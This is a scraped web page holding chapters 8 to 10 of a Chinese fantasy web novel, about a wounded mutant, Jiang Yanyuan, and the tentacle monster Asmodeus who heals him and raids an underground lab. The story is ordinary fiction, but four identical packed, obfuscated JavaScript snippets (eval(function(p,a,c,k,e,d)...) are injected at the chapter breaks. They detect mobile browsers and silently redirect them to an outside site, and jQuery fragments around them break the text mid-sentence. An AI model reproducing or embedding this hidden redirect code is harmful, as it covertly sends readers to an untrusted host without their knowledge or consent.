;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691500|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不，他不想……说说好像也没什么。 江言渊的意志不受控制地改变了，他一心二用，飞快地往旁边地上一滚，避开对着他双腿扑过来的寒气，同时尽量简洁地回答：“利益，我只是想拿走点东西。” 他一个翻滚，手摸向口袋，猛地从里面抽出一柄古朴的长刀。 没有人能从衣服口袋里掏出一柄一米多长的刀，除非那把刀是封印物。 在男人引诱他回答问题的时候，他就意识到不想使用封印物的想法消失了。男人的精神力等级显然没有女人高，语言类的异变者缺陷就在这里，低阶的时候，只能维持一道两种命令。 “噌！”长刀无鞘，却凭空发出出鞘的声音。 刀与刀碰撞，发出响亮的金属碰撞声。江言渊借力往后一跃，拉近了和防御屏障的距离。 为什么江言渊会那么清楚语言类异变者，因为他自己也是。 他早在抽出长刀的那刻接触了命令，但还是因为频繁使用精神力而变得虚弱。 不过他的误导成功了，男人显然也意识到了他解除了上一条禁令，因此立刻开口，防止他继续使用能力：“你已经很疲惫了，同时面对我们两个，你不那么想使用能力。” 能力生效。江言渊却笑了。因为他其实并不是那么需要用到自己的能力。 相反的是，他用的较多的是封印物。 他清楚自己不能拖延下去，他看不见，即使有精神力帮助，能够勉强应付，但拖太久的话，对方一旦意识到他看不见，仅仅使用长刀而不用精神力的话，事情就麻烦了。 江言渊果断卖了一个破绽，对方果断抓住了这个破绽，冰刀用力的刺进了他的肩膀，而江言渊手中的长刀在他被刺伤的那刻消失了。 鲜血顺着冰刀滴落，女人看了一眼，用冰冻住了他的另一只手臂，男人的声音再一次响起：“如果我猜的没错，你放进来的那件封印物，作用是传送吗。你知道今天这是一个陷阱，但还是来了，不担心被我们知道封印物的位置之后会转移封印物吗？分享给我们听。” “不会，既然你们把我引过来了，之后也就没有办法转移了。”江言渊虚弱地回答。[骨科才是最*的]具有很强的隐蔽性，只是需要定期进食才不会消极怠工。在刚才，这对等封印物距离很近的时候自己喂了一点血给木偶弟弟。短距离的时候，它们是一体的，弟弟吃到了，哥哥的能力也会有所激活。 半激活状态下的木偶哥哥是不会被发现的。 哪怕是特级也不可以。 这也是为什么他明知道是一个陷阱也要进来一趟。 至于自己的身份会不会暴露，或许会，那暴露了的话就改名换姓逃走吧。江言渊想。 他没有把话全部说完。 鲜血一点一点顺着刀往下落，江言渊的另一只手指微动。 有什么东西极快地冲进了他的手里。 江言渊笑了下，缓慢地把手里的十字架由倒着转为正握。 白光大亮，将他笼罩在其中，完全出乎意料的，他消失了。 女人感到刀一松，上面什么也没有，她有些不甘：“这是什么封印物？我完全感觉不到他的存在了，是走了？我们还要追吗？” 男人走上前两步，摇摇头说：“不用了，你先看看，这是什么。” 女人低头看去，发现地上有团黑乎乎的东西。 她小心地用自己的刀扒拉了一下那东西，发现好像是一截……触手？ “这是什么玩意？” 小触手原本是弱小、可怜、无助地瘫在地上，想假装自己是个死物。一听到这句话不干了，弹起来用力挥舞自己，抗议：什么什么玩意！我是触手！漂亮强大的黑粉色触手！ 8. 第 8 章 阿斯莫德对着镜子练习了半天要怎么捏脸，意识到自己可能真的没有什么这方面的天赋，不然为什么没有一张脸捏出来是好看的。 他沮丧地坐了好一会儿，忽然感觉到了熟悉的气息回来了。 阿斯莫德还没来得及高兴，就意识到了不对。 江言渊受伤了，不管是精神力的虚弱还是空气中的血腥味，都说明了这一点。 阿斯莫德以比闪电还要快的速度变回人形，蹿到了门口蹲着，以便江言渊一打开门就能看到自己。 但江言渊没有通过门进来，他凭空就出现在了客厅里，在看到阿斯莫德的时候被吓了一跳，反应了两秒，才想起来自己今天邀请了一个怪物回家。 “阿渊！你受伤了！”阿斯莫德猛地冲到江言渊面前，急急地就想伸出触手帮他进行治疗，差点忘了自己还要隐藏身份。 [这家伙谁啊！]被江言渊握在手里的十字架也被吓了一跳。不知道经历了什么，它原本纯白色的十字架身现在沾满了不详的暗红色，有点像血迹，又像是锈迹，它被江言渊倒着握在手里。 阿斯莫德也听到了它的声音，一个刹车停在江言渊面前，抬起的手放下了，他知道什么是封印物，也知道这种东西如果激活使用会对人类有伤害。 他瞪着十字架，一边问江言渊：“阿渊，你哪里受伤了？我帮你处理一下伤口吧。是不是这家伙做的！” 江言渊揉了一下太阳穴，不知道是不是因为他今天精神力消耗得有点大，他现在听到声音就觉得吵得让人头疼。 他担心阿斯莫德乱来，于是说：“你能帮我把医药箱拿来吗？”他指了一下位置，同时意识到阿斯莫德似乎不知道今晚发生了什么。看来那一截小触手和他没有共感。 阿斯莫德去拿了，回来的时候看见江言渊坐在沙发上，沾上血的外套被脱了下来，露出里面的同样被划破的白色衬衫。 阿斯莫德看得出来那是明显的刀伤，上面还有冰元素的气息。 他的怒气一下就被点燃了的，当然不是对江言渊的，他憋着一团怒火，拎着医药箱凑了过去，不同声色地把江言渊身边的十字架推到了地上。 他不生气，他不生气，他要控制住脾气。阿斯莫德默念了好几遍。在城外的时候，他的愤怒可以直接摧毁掉半个森林。他知道自己现在不是在城外，不能一不注意就把阿渊的房子毁了。所以要克制，克制…… 江言渊其实看见了，但没有阻止他，他现在看十字架也很不顺眼。 他为了离开城中心，短暂地激活了一下[薛定谔的存在]，他不是第一次激活这件封印物，大概知道激活它之后会发生什么。但这次不知道是[薛定谔的存在]力量增强了，还是他因为那时受伤所以让它有机可乘，他的精神力在短时间内被疯狂吸收，同时上升的是污染值，短短几分钟，几乎就要把他的精神力吸干。 还好他及时中断了激活。 不过这么一来，他检查了一下自己的身体，发现封印物才是带给他最大损失的家伙。 江言渊熟练的打开医药箱，从里面抽出两管药剂开始为自己注射。 阿斯莫德在旁边看着，意识到他可能不是第一次这么受伤了。从医药箱里可以看出，以前这两种药剂是有一大排的，现在却只剩下个位数。 深蓝色的药剂打入江言渊身体，阿斯莫德没忍住，问：“阿渊，这些药有什么用？” “恢复精神力，加快伤口恢复。”江言渊说，感觉到阿斯莫德似乎想要做什么。 果然，又过了一会儿，在药剂被打完之后，他抬起头想要把空的药剂管扔掉，然后就看见，阿斯莫德伸出了一根触手。 江言渊手抖了一下，忽然想起来，阿斯莫德似乎没有意识到，属于他的那部分小触手不见了。还是说其实是发现了，现在伸出触手就是要找他算账？ 哦不对，面前的是精神体。所以阿斯莫德的精神体对他伸出手是想要做什么？ “阿渊，我的能力有治疗类的，我，我帮你治疗一下可以吗？很快就会好的！”阿斯莫德说，他觉得自己可以伪装成有治愈能力的异变者帮江言渊治疗。这样阿渊就不会痛了，他想。 江言渊有点想拒绝。他很清楚对方并不是什么人畜无害的治愈系异变者。来自怪物的治疗……总觉得怪怪的，可能会发生什么不好的事。 但他看见阿斯莫德的触手小心地趴在他身边，没敢靠近，粉色的触手尖一翘一翘。 好熟悉的触手尖，江言渊想。 江言渊想起了被自己有意丢在城中心的小触手，难得有了点愧疚。 应该不会对阿斯莫德造成什么影响吧？ 算了，说不定这家伙确实是有什么本事。江言渊迅速分析了利弊，觉得这是可以一试的。城中心的人如果怀疑了他的身份，要来试探的话，那恢复得差不多的伤口就可以为他摆脱一些嫌疑。他还不想那么快放弃这个身份。如果真的出现问题，他也可以用别的方法解决。而且看阿斯莫德样子……江言渊不太能想象得出他会怎么做手脚。 真奇怪，明明对方是极度危险的怪物，是非人类，他们认识的时间也不算长，甚至没有超过一天，江言渊却觉得他比很多人类都要值得信任。 可能是因为他给自己的感觉确实人畜无害。江言渊想。为了防止自己有被迷惑的可能，他用刚恢复一点的精神力使用了能力。 他的能力比较复杂，除了一定程度上的言出必灵以外，还能够看见一些机遇，以及别人对他的感觉。 他朝着阿斯莫德看去，看见他黑乎乎的精神体上沾染着一层浅金色和一点红色。代表善意的红色和机会的浅金色。善意，好吧，希望是正常的，不是什么杀了你就是治好你那种不那么正常的善意。 “好吧，你试试。”江言渊最后说。 阿斯莫德的触手欣喜地摇晃了起来，落在了江言渊的手腕上。 江言渊轻微地抖了一下，差点以为会是和小触手一样黏黏糊糊、冰冰冰凉凉的感觉。但碰到他的是一只人类的手。 对哦，这家伙现在应该是维持着人类的样子。 是正常的人类的手，江言渊心想，就是温度有点低。 这种感觉很奇怪，眼睛所“看”到的世界里，是黑粉色的触手落在他手腕上，但大脑所感受到的却是属于人类的手指。 触手尖亮起白色的光，暖意顺着手腕蔓延开来，江言渊像是一下泡在了温水中，身上残留的寒意一下就被驱散了。 没过多久，阿斯莫德把手拿开了。精神体化成的触手也离开了他的手腕。江言渊盯着看了一会儿，又一次想到了被自己落下的小触手，心想他真的没有发现少了东西吗？ “好啦。”阿斯莫德轻快地说，他对自己的治疗能力很有信心。他可是全能性战士。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691501|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江言渊感受了一下，发现确实是正儿八经的治疗，甚至效果还很好，他能感觉到自己的伤口再以比平时要快很多的速度在愈合。精神海没有变化，还是干涸的。不过如果还能恢复精神力，那未免也有点过分强大了。 “谢谢。”江言渊说。他能感受到阿斯莫德乐滋滋的，像是在高兴自己帮上了忙。江言渊在这个时候冷不丁问道：“你的能力具体是什么？为什么又能攻击又能进行治疗？” 人类的异变者所异变的能力很少会有多方向的，大部分都是专精，就算有多种能力，也是偏向同一个方向。 他感觉阿斯莫德不知道这一点。 考虑到自己阿斯莫德这段时间都会让阿斯莫德跟在自己身边，他觉得自己还是委婉地提醒一下他比较好。 他有点担心阿斯莫德听不懂，于是又补了一句：“在我认识的人里面，还没有同时能拥有这两个方向能力的人。” 阿斯莫德茫然了两秒，听懂了，然后就开始冒冷汗。他强装镇定，一边说一边大脑飞快试图找一个合适的解释：“呃，是这样的……” 他想到了，半真半假地说：“我的能力是吞噬，就是那种，吃了谁……吞噬了谁的精神力，就能获得一部分对方的能力。” 吃了谁……江言渊听清楚了。他很轻地抽了一下嘴角，意识到阿斯莫德说的可能是他真实的能力。是吃了谁的精神体就能获得相关的能力吗？ “很强的能力。”江言渊说。他忽然有大胆的想法，不知道能不能让阿斯莫德吃一点自己的精神力，然后看看能够获得怎样的能力。 他只是想想，并没有打算实施意思。他感觉到有困意涌上，一晚上没睡，再加上精神力消耗，他打了个哈欠，说：“我要再去睡一会儿。” 他的精神力早就因为疲惫而收起，眼前的世界一片漆黑，因此没有看到阿斯莫德的精神体此时伸出了好几根触手，趴在地上，正在做着热身运动。 阿斯莫德终于问了最想要问的事：“阿渊，所以是谁让你受伤的啊。” 江言渊感觉自己听到了一点杀气。 但还没仔细感受，就听见阿斯莫德又接着说：“应该不是这个封印物？是人……异变者？” 江言渊捂着嘴又打了个哈欠，他说：“当然，是一些讨厌的家伙。” “讨厌的家伙。”阿斯莫德重复了一遍，又问他：“既然是阿渊讨厌的人，无缘无故地死掉应该也没关系？” 江言渊知道自己刚才没感受错，阿斯莫德身上确实有杀气。说这句话的时候，他倒是有几分像实力强大的怪物了。 江言渊应该要警惕的，但可能是他太累了，也懒得用精神力去观察一下阿斯莫德的精神体。他笑笑，从沙发上站起来，走向卧室，一边说：“无缘无故地受点伤就好。” 他觉得自己猜到了阿斯莫德想要做什么，但又觉得自己的猜想有些不合逻辑。 他们才认识了多久，就算阿斯莫德说着喜欢他，也不至于看见他受伤就要去报复伤害他的人吧。 江言渊又笑了一下，心想如果真的是这样，那也太偶像剧了。他可以封阿斯莫德为最佳恋爱脑骑士。 他回到了自己的房间，思绪很快被其他事情占据，慢慢地就睡着了。 于是他不会知道，阿斯莫德在确认他睡着之后，就带着自己蓄势待发的触手，迫不及待地出了门。 9. 第 9 章 阿斯莫德知道自己很厉害，他当然很清楚。比如森林里没有怪物能打得过他，人类不小心闯入他的领地也会尖叫着说这是特级的怪物，然后也不管他有没有攻击的意愿，就仓皇地逃走。 所以他在城中心的防御屏障前坐了半个小时，想不明白为什么自己进不去。 他坐在那里，面前看起来没有任何东西，但正是这道无形的空气屏障阻止了他的前进。 他都已经是特级怪物了，居然还进不去这一道小小的屏障！明明只是二级封印物。阿斯莫德磨了磨牙。都怪这封印物没有自己的意识，不然他大可以直接展开威胁——他经常这么做，对有智慧的生物很好用。 阿斯莫德皱着眉，他现在用的是拟态，触手不断地在无形的屏障上点来点去，想找到一个突破口。他其实不是没有办法进去，只是他想低调一点，不想硬闯。 可是他在屏障上摸索了半个小时了，也没找到能够无声无息进入的办法。虽然触手不会因为这点工作量感到疲惫，但这么连续的脑力活动，他的脑袋有点累。 哎，算了，还是硬闯吧。阿斯莫德放弃了。 他站了起来，触手甩了甩，非常朴实无华地、狠狠地往面前无形的屏障上面一抽。 伴随一声重物撞击的声音响起，阿斯莫德面前的空气里凭空浮现出了丝丝裂痕，像是玻璃被什么东西狠狠撞击了一般，裂痕越来越大，越来越多，清脆的玻璃破碎声也跟着响起，直到最后不堪重负，金色的碎片开始往地上掉。 阿斯莫德等了一会儿，等裂缝裂得足够宽，大摇大摆地走了进去。 只要知道一个人的精神力，再去找那个人就不难，至少对他来说不是一件难事。他在给江言渊治疗的时候就暗暗记下了那人的精神力，就是寻着精神力来到的城中心。 进城的问题解决了，接下来就好办了。阿斯莫德很快就找到了目标，对方在一栋房子的地下，里面有不止一个精神体，人很多。 他犹豫了一下，最后选择把自己变成透明色，然后缩小了身体，变成巴掌的大小，悄悄贴在一个正准备进去的人裤腿上，打算用这种办法低调地进去。 虽然他感觉自己已经很小，很不引人注意了，但他还是被发现了。 甚至就是刚进去没多久，大概是什么仪器扫到了他，感受到了他的存在，有人惊叫：“有怪物进来了！” “什么？在哪里？” 接着就是一阵慌乱的寻找，各种阿斯莫德不认识的仪器在扫来扫去，阿斯莫德本来想着再苟一下，努力地躲避者不知名仪器放出来的精神力。 但可能就是几分钟的事，阿斯莫德忽然就感觉到自己被锁定了，就在这一瞬间，房间里所有的仪器都对准了他。 人类的高科技真有意思。 没关系，阿斯莫德从那人的裤腿上跳下，变回拟态的大小，精神力放出。如果能用精神力进行观察的人，就能看见他的精神力像是巨大的触手，泛着金色的光，横扫而出，所过之处，精神力稍微弱一点的人都产生了巨大的晕眩感，身体开始摇晃，没过多久就倒在了地上。 这里出现的大部分都是普通的科研人员，都是精神力强度一半的普通人。因此大部分都被阿斯莫德一口气轻松解决了。寥寥几个精神力稍微比较强的人还站着，也捂着脑袋，面露痛苦之色。 阿斯莫德看见有一个人踉跄了两步，扑到工作台上，伸手想要按下上面的一个什么按钮。 他眼疾手快地伸出真实的触手，不轻不重地捶了一下那人的头。 这里没有人有能力阻止他。既然都成了这种发展，他也懒得维持透明的状态。多根黑色的触手同时工作，兢兢业业地把房间里所有人都敲晕了。 打晕所有目击者，也算是一种潜入。阿斯莫德觉得自己的潜入还是算成功的。 其实他一开始也不想这么粗鲁的。只能怪人类的手段太多了，一不小心就把他发现了。 阿斯莫德摇摇头，他感受到了那冰元素精神力的主人，已经很近了，但是看距离的话，大概还要下一层。只是现在这里的人都被他敲晕了，没人给他带条正确的路。不过阿斯莫德很快就找了一条捷径，他能听见风的声音，风带来了气息，在为他指路，于是阿斯莫德重新缩回巴掌大小，找到通风管道，从里面钻了进去。 很快，他看见了通风管道的出口，他停了下来，因为人类说话的声音飘进了他的耳朵里。 “研究员还没到吗？”一道女声问，语气中有些不耐烦。 “路上了吧，你急什么，现在有空来的也是些普通人，我们看不出的问题，你不会觉得他们可以看出来吧。” “哼，要不是现在人手都不在这边，不然哪里会我们等了十五分钟了还没人下来。” 没错了，就是这个人。 阿斯莫德嗅了嗅空气，谨慎地放出精神力，又做了一次确认。 说起来，怎么总觉得……这附近有什么很熟悉的气息。阿斯莫德有一种奇怪的感觉——他是不是忘记了什么？ 没有吧，谁能在他不知道的情况下修改他的记忆。阿斯莫德刚自信地想完，精神力就扫到了让他熟悉得不能再熟悉的东西。 “……”不是，为什么你会在这里。 阿斯莫德这下也顾不上会不会暴露了——反正等下动起手的时候都会暴露的。 他飞快地在通风管道里前进，猛地冲出了通风管道，在通风管道的口口子前停住，把自己悬挂在上面。然后他就和一团黑乎乎的迷你触手对视上了。 说对视其实不对，因为那只是一截触手，不像本体一样有眼睛。 他终于想起自己忘了什么。在等待江言渊回来的时候，他本来好像是打算数一下自己的触手，看看数量对不对的。 现在没有必要数了，他确实少了一根触手。但是这根触手是什么时候跑来这里的？一般他的触手出走都只是在附近转悠一下，这次这么走了那么远？ 小触手被关在一个透明的玻璃盒里面，原本蔫蔫地躺在盒子底部一动不动，在看到他来了之后立刻就跳了起来，激烈地摇晃着身体。 阿斯莫德没动。 他的触手和本体之间在距离近的时候可以进行一些基础的交流，此时触手分/身就在激动地向他传达想法。 [“我”终于来了，终于来了！太慢了太慢了！] “……别吵，我在思考。”阿斯莫德说。 “什么声音？”站在玻璃盒旁边的男人警觉地抬起头。 阿斯莫德开口的时候也没想着要隐藏，他的身形在两人吃惊的视线里迅速放大，黝黑的巨大触手从天花板上垂下，凶狠地朝着两人抽去。 触手带来一阵恶风，女人手里凝聚起冰蓝色的刀，她举刀，试图抵挡朝着他们抽来、速度极快无法抵挡的触手。 “你认为我们很友善，不想对我们出手！”男人急促地开口，他的能力在应对突发情况的时候效果没有那么好，但能抵挡一点是…… 抵挡不了一点。 阿斯莫德抽过来的触手直径有一米之粗，力道十足，冰刀撞上触手就碎了，他也完全没有意志被修改的感觉，不但没有放下触手，反而又多加了一根。 另一根触手不是冲着他们俩来的，阿斯莫德这回没忘记自己的分/身，他的另一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691502|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触手已经把玻璃盒给卷了起来。一心二用对拥有很多根触手的他来说并不是一件难事。 “砰！”黑色的触手抽在了男人身上，把他深深地拍进了地里，他甚至来不及再使用一次自己的能力，就什么话也说不出来了。 语言系在特定的时候确实很强，但面对精神力庞大的特级怪物，阿斯莫德几乎完全免疫他的能力，还有无数种办法让他在开口之前就死去。 阿斯莫德没有杀死他，他还记得江言渊只是说让他们受点伤。 稍微麻烦一点的是另一个异变者。 女人的冰刀虽然碎掉了，但她在刀破碎时立刻意识到了不对，敏捷地在地上打了个滚，躲过了触手的袭击。 冰元素在房间里聚集，她试图用寒冷使得阿斯莫德的速度变慢。 “你是什么人？为什么要对我们动手？”女人见他没有继续攻击，于是试图问出点什么，一边把手摸向了腰后的枪。 “我以为你看得出来，我不是人。”阿斯莫德奇怪地说。他现在又不是人形，那么大一个触手怪呢，哪里看着像人了。 女人被他这句话哽了一下，决定跳过这个话题，直接说出自己的判断：“你是刚才那人的同伙？我感觉不像。你是来收回属于你的东西的？我们无意冒犯，只是正好捡到了，拐走它的不是我们。” 阿斯莫德注意到女人的视线落在自己抓着玻璃盒的触手上，意识到女人大概是误会了什么。 误会也好。阿斯莫德顺势把玻璃盒递到了女人面前：“差不多吧，把它打开。” 在拿到玻璃盒的时候他就试过了，不知道这看起来很普通的玻璃盒是什么做的，他刚才试了一下，居然一下没能弄碎。 女人把背在身后的手拿了出来，谨慎地接过触手递过来的玻璃盒，毕恭毕敬地说：“实在是抱歉，这个需要两个我们的人才能打开，但我的同伴已经被您打晕了，所以……我可能要出去再找一个人。” 这是在想办法去找外援吗。阿斯莫德听懂了，这是在威胁他。 “好吧。”他慢吞吞地说。 “那我……”女人的话还没说完，阿斯莫德的触手就拍了过来。 她大惊失色，连连后退，下意识掏出枪对着阿斯莫德的身体，同时寒冰在她周身凝结，试图冻住阿斯莫德的触手。 她成功了一半，触手的速度明显地变慢了，枪中射出来的特殊子弹也落在了阿斯莫德身上。 但还是没有什么意义，阿斯莫德的触手缓慢地，却是不容拒绝地，把她按在了地上。她没有办法逃是因为有别的纤细的触手不怎么受寒气的影响，极快地刺穿了她的腿。 “其实我只是不想弄伤我的触手。”阿斯莫德对着失去意识的女人说。 他重新卷起地上的玻璃盒，这次把精神力附在触手上，然后用力挤压。 玻璃盒慢慢裂开了。 这是一件人造的封印物，纯科技的话是不会对他的触手造成损伤的。但是现在他的触手被看起来像玻璃的东西划伤了。 “都怪你。”阿斯莫德没好气地对小触手说。 小触手不理会这句话，抖了抖身体，把盒子的碎片抖掉，然后一头跳进了阿斯莫德众多触手中。 这是一种融合，距离太远的时候，阿斯莫德不会知道自己的触手出去做了什么，但只要融合之后，那部分记忆又会回到他身上。 让他看看自己的分/身为什么会来到那么远的地方。 阿斯莫德查看了记忆。 噢，原来是阿渊把它带出去的啊。 原来是阿渊…… 阿渊…… 啊！ 10. 第 10 章 阿斯莫德觉得自己完了。 江言渊是不是已经知道自己是怪物了？ 他用力地掐住那根晚上出走的触手，恶狠狠地说：“都怪你！” 触手在回到他身上之后，自我的意识就会变得很浅，接近于无，触手扭了一下，没给出反应。 阿斯莫德不知道自己现在还应不应该回去。他站在一片狼藉中发呆，有几分绝望地在想自己是不是可能再也见不到江言渊了。 触手和他是一体的，大概是感受到了他的心情，终于给出了一点反应，不耐地向他传递：[阿渊不知道。] 不知道？ 阿斯莫德立刻明白了这句话，瞬间觉得自己活了过来。 但他又有点不相信自己触手说的，虽然那也是他的一部分。 于是阿斯莫德开始拼命回忆着刚才在家时江言渊的反应，想自己到底有没有暴露身份。 回忆完自己的记忆后，他又去把小触手出走时的记忆翻了又翻，最后得出结论，自己好像并没有暴露。 江言渊似乎只是把小触手当作了一个不知道为什么会出现在他家的奇怪生物，然后随手带上，最后丢在了城中心。 嗯，没错，阿渊并没有发现触手和自己的关系！ “呼……”这下阿斯莫德放心了一点。 剩下那点不放心，也被阿斯莫德自我说服了。刚才他给江言渊治疗的时候，阿渊可没有表现出任何不对，没有害怕他或者是远离他。 唔，还对他表示了谢意！ 阿斯莫德代入了一下普通人。他在见到江言渊之前也有和人类打过交道，知道人类害怕异类。从来没有哪个人类会对怪物那么友好，如果江言渊知道他是怪物的话，那肯定早就躲开他，根本就不会再回去了，也不会让他帮他治疗。 说明江言渊不知道他的身份。 阿斯莫德说服了自己，他放下心来，重新变回拟态的样子，离开了被他毁得满是狼藉的地下基地。 阿斯莫德没有直接回家，他想了想，决定去看看江言渊去过的地方，也就是木偶封印物所在的位置。 他有些好奇，倒不是对那件有点神经的封印物好奇，而是对江言渊要做的事好奇。 从触手得到的信息来看，江言渊似乎想要进去那个地方，却没有办法进去，只能派上了封印物。 阿斯莫德知道使用封印物是要付出代价的，他不太喜欢看见江言渊用封印物。因此想知道自己能不能帮上一点忙。 他来到了木偶封印物所在的位置。他并不了解城中心的位置分布，全是靠小触手的记忆，因此还找错了好几次。 这一次肯定是对的。阿斯莫德意识到了。因为就在他跨出脚下这一步后，他就像是跨过了某条无形的结界一般，周围有什么发生了变化。 这是一种很神奇的感觉，阿斯莫德说不上来是什么变化，他恍惚了一秒，然后惊讶自己居然也会受到影响。 他对别的有些迟钝，但是在应对危机的时候反应却是极快的，本能地就迅速后撤，飞快地踩在了那条无形的结界后。 危机感并没有因此消失，阿斯莫德意识到自己恐怕是触碰了不该碰的东西，不止一道人类的气息出现在了附近，以极快的速度朝他赶来。 阿斯莫德不敢在这停留了。也不是打不过，就是有种预感打起来会很麻烦，而且就算打过了，估计也没法真正地进到核心的位置。 在踏进去的时候他用精神力感知到了，这块地方有禁令，越往里面禁令越强，最核心的地方，大概是除了被批准的人以外，任何生物都不得入内。 这种程度的禁令，就算以他本体的力量想要进去，都是很困难的。 阿斯莫德拔腿就跑。为什么阿渊靠近没事，我靠近就触发了警报啊！没有警报的话，还可以再深入一点试试禁令的程度。 触手传递了一点不满的情绪，告诉他他刚才太靠近了，江言渊之前站的位置没有碰到那结界。 “就是因为我想知道能不能进去，所以才往里面走了一点啊。”阿斯莫德自言自语着。 他在逃离那块区域的时候就隐藏好了气息，在人类赶来之前就离开了很远，确认距离安全之后才谨慎地用放出精神力去观察。 四五个人的样子，都是一级异变者。 阿斯莫德不太能听清他们在说什么，但从精神力感知到的情绪来看，他们似乎是在疑惑。 他很想知道他们在说什么，忍不住把精神力又贴上去了一点。 这回听清楚了，好像在说什么：“不是人，怪物还是污染物？它……目的……同伙……等等，有人在……” 其中一人原本在地上寻找着这么痕迹，一边和同伴说着话，可是突然就抬起了头，目光如火一样烧了起来，沿着精神力，远远地和阿斯莫德对视了。 阿斯莫德立刻掐断了自己的精神力。 这下必须要离开了，那个异变者的能力有些特殊，精神类的，阿斯莫德不太喜欢面对这类异变者，他不那么擅长这一块。 他不再想着偷听，这次是确确实实地离开了城中心。 回到江言渊的家中时，阿斯莫德发现江言渊还在睡。 他睡不着，也没有那么需要睡觉，扫了一圈屋子里，看见了沙发上还留着沾着血迹的衣服，沙发上也沾到了一点血。 于是阿斯莫德放出自己众多触手，轻手轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691503|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚地开始收拾客厅，打扫卫生。 在清理沙发的时候，阿斯莫德想起了那个被他踢到沙发底下的十字架。 封印物，是个麻烦的东西。阿斯莫德收起触手，照了下镜子，确认自己已经是正常的人形之后，才把十字架从沙发底下拿出来。 [你终于想起本大爷了吗？]十字架嚷嚷着，在看到阿斯莫德的那刻僵住了，[不是，你是什么鬼啊！] “我不是鬼，我是人。”阿斯莫德条件反射地回答。他压低了声音，不悦地指责，“你那么大声干嘛，别吵到了阿渊。” [虽然我现在只是二级封印物，但不代表你可以把我当傻子，你是人？那我是什么？会说话的十字架吗？]十字架没好气地说，一句话就戳穿了阿斯莫德，[你不是触手怪吗？怎么还进城了，城里不是不允许怪物进来的吗？] 阿斯莫德没想到自己的伪装在这小小的二级封印物前不堪一击，他冷着脸，干脆不装了，触手不知从哪里冒出，死死地勒住了十字架，他生气地说：“我现在就是人，你也确实是会说话的十字架，给我闭嘴。” [唔唔唔唔唔——骗你的，我才不会窒息。]十字架嘻嘻地笑着，[所以你为什么要伪装成人类，怪物，没看错的话，你还是特级怪物。] “关你……” 很轻的一声推门声，一怪一物立刻闭上了嘴。 江言渊从卧室里走了出来，揉了揉眼睛，不太高兴地说：“你们能小声一点吗？” 客厅鸦雀无声，阿斯莫德差点以为江言渊听见了自己和十字架的对话。 还是十字架先开的口：[好的好的。] 江言渊没有听见一怪一物的对话，但他的睡眠很浅，这两个家伙在客厅里叽叽喳喳的，虽然听不清内容，但还是很吵。 江言渊重新关上了房门。 阿斯莫德好半天不敢说话，瞪着江言渊的房间门，在想阿渊会不会听到了什么。 直到十字架的声音传到了他脑袋里：[放心，他没听见内容。你还没说，你伪装成人在他身边，是想做什么。如果你是想吃掉他，那你可要排个队。] “什么？”阿斯莫德回过神，同样在脑袋里回答，他警觉地捕捉到了个关键词，“什么排队？” [排队吃掉这人类啊，他身边很多封印物，我们都定好顺序了的，你不能插队。]十字架说。 他说话的时候，那木偶弟弟不知从哪里跑了出来，走到了阿斯莫德的身边，朝他咧嘴一笑：[吃！] 阿斯莫德慢慢皱起了眉头，他听懂了，这些不安分的家伙想要对阿渊不利。他的触手无声无息地布满了整个客厅，他幽幽地说：“你们再说一遍？”